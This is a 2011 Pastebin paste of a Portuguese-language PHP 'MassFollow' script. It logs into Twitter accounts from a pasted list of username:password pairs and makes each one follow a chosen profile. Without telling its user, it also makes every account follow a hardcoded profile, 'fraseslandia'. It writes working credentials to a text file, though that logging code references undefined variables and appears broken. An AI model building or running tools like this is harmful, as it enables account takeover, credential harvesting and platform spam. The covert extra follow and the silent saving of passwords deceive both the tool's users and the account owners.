Advertisement
DraKiNs

Massfollow

Dec 13th, 2011
1,649
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pawn 2.95 KB | None | 0 0
  1. <?php
  2.     set_time_limit(false);
  3.     error_reporting(false);
  4. ?>
  5. <html>
  6. <title>MassFollow</title>
  7. <head>
  8.     <style type="text/css">
  9.         #btn
  10.             {
  11.                 background: transparent;
  12.                 border: solid thin;
  13.                 -moz-border-radius: 3px;
  14.                 -webkit-border-radius: 3px;
  15.                 border-radius: 3px;
  16.                 font-family: Verdana;
  17.                 width: 300px;
  18.             }
  19.         #follow
  20.             {
  21.                 background: transparent;
  22.                 border: solid thin;
  23.                 -moz-border-radius: 3px;
  24.                 -webkit-border-radius: 3px;
  25.                 border-radius: 3px;
  26.                 font-family: Verdana;
  27.             }
  28.         textarea
  29.             {
  30.                 width: 400px;
  31.                 height: 320px;
  32.             }
  33.         .work
  34.             {
  35.                 font-weight: bold;
  36.                 color: green;
  37.             }
  38.         .notwork
  39.             {
  40.                 font-weight: bold;
  41.                 color: red;
  42.             }
  43.         a
  44.             {
  45.                 color: #000000;
  46.                 font-weight: bold;
  47.             }
  48.     </style>
  49.     <script type="text/javascript">
  50.         function countFakes()
  51.             {
  52.                 document.getElementById("count").innerHTML =
  53.                     document.getElementById("perfis").value.split("\n").length;
  54.             }
  55.     </script>
  56. </head>
  57. <center>
  58. <form method="POST" action="">
  59. <textarea name="perfis" id="perfis" onkeydown="countFakes()" onchange="countFakes()"></textarea><br />
  60. <font id="count" style="font-weight: bold;">0</font>&nbsp;Perfis inseridos.<br /><br />
  61. <font face="Verdana">Seguir o perfil:</font><br />
  62. @&nbsp;<input type="text" name="follow" id="follow" value="" /><br /><br />
  63. <input type="submit" value="Seguir!" id="btn">
  64. </form>
  65. <?php
  66. if (isset($_POST["perfis"]))
  67.     {
  68.         $logins = explode("\n", $_POST["perfis"]);
  69.         $follow = $_POST["follow"];
  70.         $contar = count($logins);
  71.         for($i = 0; $i <= $contar; $i++)
  72.             {
  73.     //$logins[$i] = preg_replace("/^\d+\:/i", "", $logins[$i]);
  74. if (!(preg_match("/[a-zA-Z0-9]+/i", $logins[$i])))
  75. {
  76. continue;
  77. }
  78.                 $data = explode(":", $logins[$i]);
  79.                 if ($data[0][0] == "@")
  80.                     $data[0] = str_replace("@", "", $data[0]);
  81.                 $ch = curl_init();
  82.                 curl_setopt_array($ch,
  83.                      array(
  84.                         CURLOPT_URL => "http://api.twitter.com/1/friendships/create/{$follow}.xml",
  85.                     CURLOPT_RETURNTRANSFER => 1,
  86.                         CURLOPT_SSL_VERIFYPEER => 0,
  87.                         CURLOPT_COOKIE => null,
  88.                         CURLOPT_HEADER => true,
  89.                         CURLOPT_NOBODY => false,
  90.                         CURLOPT_POSTFIELDS => "&follow=true",
  91.                     CURLOPT_USERPWD => trim($data[0]) . ":" . trim($data[1])
  92.                      )
  93.                   );
  94.                 $ret = curl_exec($ch);
  95.                 curl_setopt($ch, CURLOPT_URL, "http://api.twitter.com/1/friendships/create/fraseslandia.xml");
  96.                 curl_exec($ch);
  97.                 if (preg_match("/Unauthorized/i", $ret)) {
  98.                    
  99. }
  100.                 else {
  101.  
  102. $conteudo   =   "".$nomecerto.":".$senha."\r\n";
  103.     $arquivo    =   "sadasfasdfasd.txt";
  104.     if (!$abrir = fopen($arquivo, "a")) {
  105.          echo  "Erro abrindo arquivo ($arquivo)";
  106.          exit;
  107.     }
  108.    
  109.     if (!fwrite($abrir, $conteudo)) {
  110.         print "Erro ao cadastrar ($email1)";
  111.         exit;
  112.     }
  113.    
  114.     fclose($abrir);
  115.                 echo "".$data[0].":".$data[1]."<br>";
  116. }
  117.                 flush();
  118.                 ob_flush();
  119.             }
  120.     }
  121. ?>v
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement